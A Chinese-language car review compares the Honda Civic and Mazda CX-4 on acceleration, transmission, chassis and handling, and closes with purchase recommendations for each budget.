    思域:實測百公里提速時間讓人瞠目結舌——7.3秒,同價位車型中難覓對手。主觀加速感受還行,渦輪遲滯現象輕微,在國內限速的範圍內,動力輸出杠杠的夠用。地板油時會一臉懵逼地問你:“主人,要加速?”,遲滯一會兒才開始賣力加速,激烈駕駛時稱不上得心應手。

    CX-4: 動力輸出持續、線性,給你一種恰到好處的加速感,容易掌控,會給你持續有力、綿密的推背感。值得一提的是,馬自達工程師稱將CX-4的油門遲滯時間調校為0.3秒(與人體肌肉慣性相關),油門反應跟駕駛者預期處於一個基本同步的狀態。實測百公里提速時間9.8秒,對動力要求較高的選2.5L版本。

    變速箱

    思域:動力迅而不猛,因為駕駛者與發動機之間隔着台溫文爾雅的變速箱,CVT在行駛過程中存在感低,但不拖泥帶水,能化解生硬的頓挫,淡化了加速時的衝擊感。會通過轉速切換去模擬一些細小的換擋頓挫,轉速變化的換擋控制與駕駛者的意圖、預期判斷基本一致、同步,整體表現不錯。

    CX-4: 這台創馳藍天6AT變速箱在車速超過8km/h后其離合器完全鎖止,防止動力輸出在液力變矩器上出現過多損耗,提高傳動效率和優化燃油經濟性。很明白駕駛員意圖,執行力非常到位,一路上用細微的油門變化去挑逗它,都能很好滿足,彷彿時刻在等待你的命令。

    底盤

    思域:前麥弗遜式獨立懸架、后多連桿獨立懸架。路面小顛簸過濾得不錯,但保留了一定的路感信息傳遞給駕駛者,中後段對車身的支撐到位,富有運動感的懸架。

    CX-4:前麥弗遜式獨立懸架、后多連桿獨立懸架。懸架支撐性出色,過彎、掉頭時的車身姿態控制到位,保留了清晰的路感,行駛表現接近“彎道王”昂克賽拉,比絕大多數SUV的行駛質感要好。

    操控

    思域:路感被過濾得所剩無幾,懸架行程較長,有一定曠量,過彎、掉頭姿態傾側明顯,屬於舒適家用車的調校範疇。所幸轉彎半徑小,掉頭方便。轉向低速沉穩,但速度上來后變輕。

    CX-4:定位轎跑SUV不單是在外觀做文章,CX-4在操控方面亦盡量嚮往轎車方面靠攏。電動助力,指向精準,車頭指向靈活,車尾循跡性好,和不錯的駕駛樂趣,開起來不像是一台SUV。

    總結:目前年輕消費群體對思域、CX-4兩款車青睞有加,前瞻性的外觀設計、優秀的動力表現和出眾的操控都是它們的亮點,預算有限的建議選思域1.5T自動尊貴版,而預算充足不妨體驗下CX-4 2.5L 自動四驅藍天激情版,動力相比2.0L得到提升的同時還配備了四驅系統,適應更多路況的行駛。 它們就像是未來汽車走向的先行者,期待有更多的後起之秀面世,讓年輕消費者有更多的選擇。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    南投搬家公司費用需注意的眉眉角角,別等搬了再說!

    ※教你寫出一流的銷售文案?

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!